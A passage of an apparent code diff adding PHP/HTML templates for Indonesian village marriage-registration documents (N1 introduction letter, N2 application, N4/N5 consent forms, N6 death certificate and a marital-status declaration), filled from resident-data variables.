+ | Agama | +: | += $dataCalonSuamiN1['agama_ibu']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Pekerjaan | +: | += $dataCalonSuamiN1['pekerjaan_ibu']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Alamat | +: | += $dataCalonSuamiN1['alamat_ibu']; ?> | + +
Demikian surat pengantar ini dibuat dengan mengingat sumpah jabatan dan untuk + dipergunakan sebagaimana mestinya.
+ + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['atas_nama'] ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['nama'] ?> | ++ |
Lampiran V | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N1 | ++ |
+ | |||||||||||||||||||||||||||||||||||||||||||||||
KANTOR DESA/KELURAHAN | +: | += strtoupper($config['nama_desa']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KECAMATAN | +: | += strtoupper($config['nama_kecamatan']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KABUPATEN/KOTA | +: | += strtoupper($config['nama_kabupaten']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ + |
PENGANTAR NIKAH
+Nomor : = $format_surat ?>
+ +Yang bertanda tangan dibawah ini menjelaskan dengan sesungguhnya bahwa :
++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
+ | 1. Nama | +: | += $dataCalonIstriN1['nama']; ?> | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Nomor Induk Kependudukan (NIK) | +: | += $dataCalonIstriN1['nik']; ?> | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Jenis Kelamin | +: | +Perempuan | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan Tanggal Lahir | +: | += $dataCalonIstriN1['tempatlahir'] . ', ' . tgl_indo2(!empty($dataCalonIstriN1['tanggallahir']) ? date('Y-m-d', strtotime($dataCalonIstriN1['tanggallahir'])) : ''); ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataCalonIstriN1['warganegara']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataCalonIstriN1['agama']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataCalonIstriN1['pekerjaan']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Pendidikan Terakhir | +: | += $dataCalonIstriN1['pendidikan']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 9. Bin/Binti | +: | += $dataCalonIstriN1['bin']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 10. Alamat | +: | += $dataCalonIstriN1['alamat_wilayah']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 11. Status Perkawinan | +: | ++ + | ||||||||||||||||||||||||||||||||||||||||||||||||
+ |
+
|
+ : | +- | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ |
+
|
+ : | += $dataCalonIstriN1['status_kawin']; ?> | + +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 12. Nama isteri / suami terdahulu | +: | += $input['nama_pasangan_terdahulu'] ?> | +
Adalah benar-benar anak dari perkawinan seorang pria :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | Nama Lengkap dan alias | +: | += strtoupper($dataCalonIstriN1['nama_ayah']); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Nomor Induk Kependudukan (NIK) | +: | += $dataCalonIstriN1['ayah_nik']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat dan Tanggal Lahir | +: | += $dataCalonIstriN1['tempat_lahir_ayah'] . ', ' . tgl_indo2(!empty($dataCalonIstriN1['tanggal_lahir_ayah']) ? date('Y-m-d', strtotime($dataCalonIstriN1['tanggal_lahir_ayah'])) : ''); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Kewarganegaraan | +: | += $dataCalonIstriN1['warganegara_ayah']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Agama | +: | += $dataCalonIstriN1['agama_ayah']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Pekerjaan | +: | += $dataCalonIstriN1['pekerjaan_ayah']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Alamat | +: | += $dataCalonIstriN1['alamat_ayah']; ?> | + +
dengan seorang wanita :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | Nama Lengkap dan alias | +: | += strtoupper($dataCalonIstriN1['nama_ibu']); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Nomor Induk Kependudukan (NIK) | +: | += $dataCalonIstriN1['ibu_nik']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat dan Tanggal Lahir | +: | += $dataCalonIstriN1['tempat_lahir_ibu'] . ', ' . tgl_indo2(!empty($dataCalonIstriN1['tanggal_lahir_ibu']) ? date('Y-m-d', strtotime($dataCalonIstriN1['tanggal_lahir_ibu'])) : ''); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Kewarganegaraan | +: | += $dataCalonIstriN1['warganegara_ibu']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Agama | +: | += $dataCalonIstriN1['agama_ibu']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Pekerjaan | +: | += $dataCalonIstriN1['pekerjaan_ibu']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
+ | Alamat | +: | += $dataCalonIstriN1['alamat_ibu']; ?> | + +
Demikian surat pengantar ini dibuat dengan mengingat sumpah jabatan dan untuk + dipergunakan sebagaimana mestinya.
+ + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['atas_nama'] ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['nama'] ?> | ++ |
Lampiran V | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N2 | ++ |
Perihal | +: | +Permohonan Kehendak Nikah | ++ | = $config['nama_kecamatan'] ?>, = tgl_indo(date('Y m d', time())) ?> | +
+
Dengan hormat, kami mengajukan permohonan kehendak nikah untuk atas nama:
+ ++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | Calon Suami | +: | += strtoupper($dataCalonSuamiN2['nama']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Calon Istri | +: | += strtoupper($dataCalonIstriN2['nama']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Hari/tanggal/jam | +: | += $input['hari_pernikahan'] ?>/= tgl_indo2(!empty($input['tanggal_pernikahan']) ? date('Y-m-d', strtotime($input['tanggal_pernikahan'])) : '') ?>/= $input['jam_pernikahan'] ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat akad nikah | +: | += $input['tempat_pernikahan']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Maskawin | +: | += $input['maskawin']; ?> | +
Bersama ini kami sampaikan surat-surat yang diperlukan untuk diperiksa sebagai + berikut : +
+ +Demikian permohonan ini kami sampaikan, kiranya dapat diperiksa, dihadiri dan + dicatat sesuai dengan ketentuan peraturan perundang-undangan. +
+ + + +
+ Diterima tanggal..............
+ Yang menerima,
+ Kepala KUA/PPN LN,
+ + + + + .................................
+ |
+ + |
+ Wassalam,
+ Pemohon
+
+ + + + + = $individu['nama'] ?>
+ |
+
Lampiran VIII | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N4 | ++ |
PERSETUJUAN CALON PENGANTIN
+ +Yang bertanda tangan dibawah ini :
+A. Calon Suami :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | 1. Nama lengkap dan alias | +: | += strtoupper($dataCalonN4['nama_pria']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin | +: | += $dataCalonN4['bin_pria']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataCalonN4['nik_pria']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan Tanggal Lahir | +: | += $dataCalonN4['tempatlahir_pria'] . ', ' . tgl_indo2( !empty($dataCalonN4['tanggallahir_pria']) ? date('Y-m-d', strtotime($dataCalonN4['tanggallahir_pria'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataCalonN4['warganegara_pria']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataCalonN4['agama_pria']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataCalonN4['pekerjaan_pria']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataCalonN4['alamat_pria']; ?> | +
B. Calon Istri :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | 1. Nama lengkap dan alias | +: | += strtoupper($dataCalonN4['nama_wanita']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin | +: | += $dataCalonN4['binti_wanita']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataCalonN4['nik_wanita']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan Tanggal Lahir | +: | += $dataCalonN4['tempatlahir_wanita'] . ', ' . tgl_indo2(!empty($dataCalonN4['tanggallahir_wanita']) ? date('Y-m-d', strtotime($dataCalonN4['tanggallahir_wanita'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataCalonN4['warganegara_wanita']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataCalonN4['agama_wanita']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataCalonN4['pekerjaan_wanita']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataCalonN4['alamat_wanita']; ?> | +
Menyatakan dengan sesungguhnya bahwa atas dasar sukarela, dengan kesadaran sendiri, + tanpa ada paksaan dari siapapun juga, setuju untuk melangsungkan pernikahan. +
+Demikian surat persetujuan ini dibuat untuk digunakan seperlunya.
+ + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||
+ | Calon Suami | ++ | Calon Istri | ++ | |||||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | + | + | |||||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | + | + | |||||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | + | + | |||||||||||||||||||||||||||||||||||||||||||||||
+ | (= padded_string_center(strtoupper($dataCalonN4['nama_pria']), 30) ?>) | ++ | (= padded_string_center(strtoupper($dataCalonN4['nama_wanita']), 30) ?>) | ++ |
Lampiran IX | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N5 | ++ |
PERSETUJUAN CALON PENGANTIN
+ +Yang bertanda tangan di bawah ini :
+ +A. | +1. Nama lengkap dan alias | +: | += strtoupper($dataIndividuN5['nama_ayah']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin | +: | += $dataIndividuN5['bin_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataIndividuN5['nik_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | +: | += $dataIndividuN5['tempat_lahir_ayah'] . ', ' . tgl_indo2(!empty($dataIndividuN5['tanggal_lahir_ayah']) ? date('Y-m-d', strtotime($dataIndividuN5['tanggal_lahir_ayah'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataIndividuN5['warga_negara_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataIndividuN5['agama_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataIndividuN5['pekerjaan_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataIndividuN5['alamat_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
B. | +1. Nama lengkap dan alias | +: | += strtoupper($dataIndividuN5['nama_ibu']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Binti | +: | += $dataIndividuN5['binti_ibu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataIndividuN5['nik_ibu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | +: | += $dataIndividuN5['tempat_lahir_ibu'] . ', ' . tgl_indo2(!empty($dataCalonPriaN5['tanggal_lahir_ibu']) ? date('Y-m-d', strtotime($dataCalonPriaN5['tanggal_lahir_ibu'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataIndividuN5['warga_negara_ibu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataIndividuN5['agama_ibu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataIndividuN5['pekerjaan_ibu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataIndividuN5['alamat_ibu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
adalah ayah dan ibu kandung dari : | +||||||||||||||||||||||||||||||||||||||||||||||||
+ | 1. Nama lengkap dan alias | +: | += strtoupper($dataIndividuN5['nama']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin | +: | += $dataIndividuN5['nama_ayah']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataIndividuN5['nik']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | +: | += $dataIndividuN5['tempatlahir'] . ', ' . tgl_indo2(!empty($dataIndividuN5['tanggallahir']) ? date('Y-m-d', strtotime($dataIndividuN5['tanggallahir'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataIndividuN5['warganegara']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataIndividuN5['agama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataIndividuN5['pekerjaan']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataIndividuN5['alamat_wilayah']; ?> | +
Memberikan izin kepada anak kami untuk melakukan pernikahan dengan :
++ | 1. Nama lengkap dan alias | +: | += strtoupper($dataCalonPasanganN5['nama']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin | +: | += $dataCalonPasanganN5['bin']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataCalonPasanganN5['nik']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | +: | += $dataCalonPasanganN5['tempatlahir'] . ', ' . tgl_indo2(!empty($dataCalonPasanganN5['tanggallahir']) ? date('Y-m-d', strtotime($dataCalonPasanganN5['tanggallahir'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataCalonPasanganN5['warganegara']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataCalonPasanganN5['agama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataCalonPasanganN5['pekerjaan']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataCalonPasanganN5['alamat_wilayah']; ?> | +
Demikian surat izin ini dibuat dengan kesadaran tanpa ada paksaan dari siapapun dan untuk digunakan seperlunya.
+ + + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | +||||||||||||||||||||||||||||||||||||||||||||||
+ Ayah/wali/pengampu
+ + + + + = $dataIndividuN5['nama_ayah']; ?>
+ |
+ + |
+ Ibu/wali/pengampu
+ + + + + = $dataIndividuN5['nama_ibu']; ?>
+ |
+
Lampiran IX | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N6 | ++ |
KANTOR DESA/KELURAHAN | +: | += strtoupper($config['nama_desa']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KECAMATAN | +: | += strtoupper($config['nama_kecamatan']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KABUPATEN/KOTA | +: | += strtoupper($config['nama_kabupaten']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ + |
SURAT KETERANGAN KEMATIAN
+Nomor : = $format_surat ?>
+ +Yang bertanda tangan dibawah ini menjelaskan dengan sesungguhnya bahwa :
+A. | +1. Nama lengkap dan alias | +: | += $dataCalonPasanganN6['nama_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Binti | +: | += $dataCalonPasanganN6['binti_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataCalonPasanganN6['nik_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | +: | += $dataCalonPasanganN6['tempat_lahir_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | = tgl_indo2(!empty($dataCalonPasanganN6['tanggal_lahir_pasangan_terdahulu']) ? date('Y-m-d', strtotime($dataCalonPasanganN6['tanggal_lahir_pasangan_terdahulu'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataCalonPasanganN6['warga_negara_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataCalonPasanganN6['agama_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataCalonPasanganN6['pekerjaan_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataCalonPasanganN6['tempat_tinggal_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Telah meninggal dunia pada tanggal | +: | += tgl_indo2(!empty($dataCalonPasanganN6['tanggal_meninggal_pasangan_terdahulu']) ? date('Y-m-d', strtotime($dataCalonPasanganN6['tanggal_meninggal_pasangan_terdahulu'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Di | +: | += $dataCalonPasanganN6['tempat_meninggal_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | = $dataCalonPasanganN6['tempat_tinggal_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
Yang bersangkutan adalah suami / isteri*) dari : | +||||||||||||||||||||||||||||||||||||||||||||||||
B. | +1. Nama lengkap dan alias | ++ | = $dataCalonPasanganN6['nama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin/Binti | ++ | = $dataCalonPasanganN6['bin']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | ++ | = $dataCalonPasanganN6['nik']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | ++ | = $dataCalonPasanganN6['tempatlahir']; ?> = tgl_indo2(!empty($dataCalonPasanganN6['tanggallahir']) ? date('Y-m-d', strtotime($dataCalonPasanganN6['tanggallahir'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | ++ | = $dataCalonPasanganN6['warganegara']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | ++ | = $dataCalonPasanganN6['agama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | ++ | = $dataCalonPasanganN6['pekerjaan']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | ++ | = $dataCalonPasanganN6['alamat']; ?> | +
Demikian surat pengantar ini dibuat dengan mengingat sumpah jabatan dan untuk +dipergunakan sebagaimana mestinya.
+ + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['atas_nama'] ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['nama'] ?> | ++ |
Lampiran IX | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
Model N6 | ++ |
KANTOR DESA/KELURAHAN | +: | += strtoupper($config['nama_desa']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KECAMATAN | +: | += strtoupper($config['nama_kecamatan']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KABUPATEN/KOTA | +: | += strtoupper($config['nama_kabupaten']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ + |
SURAT KETERANGAN KEMATIAN
+Nomor : = $format_surat ?>
+ +Yang bertanda tangan dibawah ini menjelaskan dengan sesungguhnya bahwa :
+A. | +1. Nama lengkap dan alias | +: | += $dataIndividuN6['nama_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Binti | +: | += $dataIndividuN6['binti_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | +: | += $dataIndividuN6['nik_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | +: | += tgl_indo2( !empty($dataIndividuN6['tanggal_lahir_pasangan_terdahulu']) ? date('Y-m-d', strtotime($dataIndividuN6['tanggal_lahir_pasangan_terdahulu'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | = $dataIndividuN6['tempat_lahir_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | +: | += $dataIndividuN6['warga_negara_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | +: | += $dataIndividuN6['agama_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | +: | += $dataIndividuN6['pekerjaan_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | +: | += $dataIndividuN6['tempat_tinggal_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Telah meninggal dunia pada tanggal | +: | += tgl_indo2(!empty($dataIndividuN6['tanggal_meninggal_pasangan_terdahulu']) ? date('Y-m-d', strtotime($dataIndividuN6['tanggal_meninggal_pasangan_terdahulu'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Di | +: | += $dataIndividuN6['tempat_meninggal_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | + | + | = $dataIndividuN6['tempat_tinggal_pasangan_terdahulu']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
Yang bersangkutan adalah suami / isteri*) dari : | +||||||||||||||||||||||||||||||||||||||||||||||||
B. | +1. Nama lengkap dan alias | ++ | = $dataIndividuN6['nama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 2. Bin/Binti | ++ | = $dataIndividuN6['bin']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 3. Nomor Induk Kependudukan | ++ | = $dataIndividuN6['nik']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 4. Tempat dan tanggal lahir | ++ | = $dataIndividuN6['tempatlahir']; ?> = tgl_indo2($dataIndividuN6['tanggallahir']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 5. Kewarganegaraan | ++ | = $dataIndividuN6['warganegara']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 6. Agama | ++ | = $dataIndividuN6['agama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 7. Pekerjaan | ++ | = $dataIndividuN6['pekerjaan']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | 8. Alamat | ++ | = $dataIndividuN6['alamat']; ?> | +
Demikian surat pengantar ini dibuat dengan mengingat sumpah jabatan dan untuk +dipergunakan sebagaimana mestinya.
+ + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['atas_nama'] ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||
+ | = $penandatangan['nama'] ?> | ++ |
SURAT PERNYATAAN STATUS
+ +Yang bertanda tangan dibawah ini :
++ | |||||||||||||||||||||||||||||||||||||||||||||||
Nama lengkap dan alias | +: | += $individu['nama']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
Nomor Induk Keindividuan | +: | += $individu['nik']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Jenis Kelamin | +: | += $individu['sex_id'] == 1 ? 'Pria' : 'Wanita'; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Tempat dan Tanggal Lahir | +: | += $individu['tempatlahir'].', '. tgl_indo2($individu['tanggallahir']); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Kewarganegaraan | +: | += $individu['warganegara']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Agama | +: | += $individu['agama']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Pekerjaan | +: | += $individu['pekerjaan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Pendidikan Terakhir | +: | += $individu['pendidikan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Alamat | +: | += $individu['alamat_wilayah']; ?> | + +
Dengan ini menyatakan bahwa, Saya betul-betul pada saat ini berstatus = $input['status_kawin'] ?>, dan surat pernyataan ini dibuat guna persyaratan Pernikahan.
+ +Demikianlah surat pernyataan ini saya buat dengan sebenarnya, dalam keadaan sehat jasmani dan rohani tanpa ada paksaan dari pihak manapun. Apabila di kemudian hari menyalahi surat pernyataan ini, saya bersedia dituntut sesuai Perundang-undangan/Hukum yang berlaku dan tidak akan melibatkan aparat setempat ( Resiko Sendiri).
+ + ++ | Yang membuat pernyataan | ++ | ||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | +Materai 10.000 |
+ + | ||||||||||||||||||||||||||||||||||||||||||||||
+ | = $individu['nama'] ?> | ++ |
Saksi-saksi :
+1. ........................................................................ | +( ........................................................................ ) | ++ | |||||||||||||||||||||||||||||||||||||||||||||
2. ........................................................................ | +( ........................................................................ ) | ++ |
SURAT PERNYATAAN STATUS
+ +Yang bertanda tangan dibawah ini :
++ | |||||||||||||||||||||||||||||||||||||||||||||||
Nama lengkap dan alias | +: | += $input['nama_calon_pasangan']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
Nomor Induk Keinputan | +: | += $input['no_ktp_calon_pasangan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Jenis Kelamin | +: | += $individu['sex_id'] == 1 ? 'Wanita' : 'Pria'; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
Tempat dan Tanggal Lahir | +: | += $input['tempat_lahir_calon_pasangan'].', '. tgl_indo2(!empty($input['tanggal_lahir_calon_pasangan']) ? date('Y-m-d', strtotime($input['tanggal_lahir_calon_pasangan'])) : ''); ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Kewarganegaraan | +: | += $input['warga_negara_calon_pasangan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Agama | +: | += $input['agama_calon_pasangan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
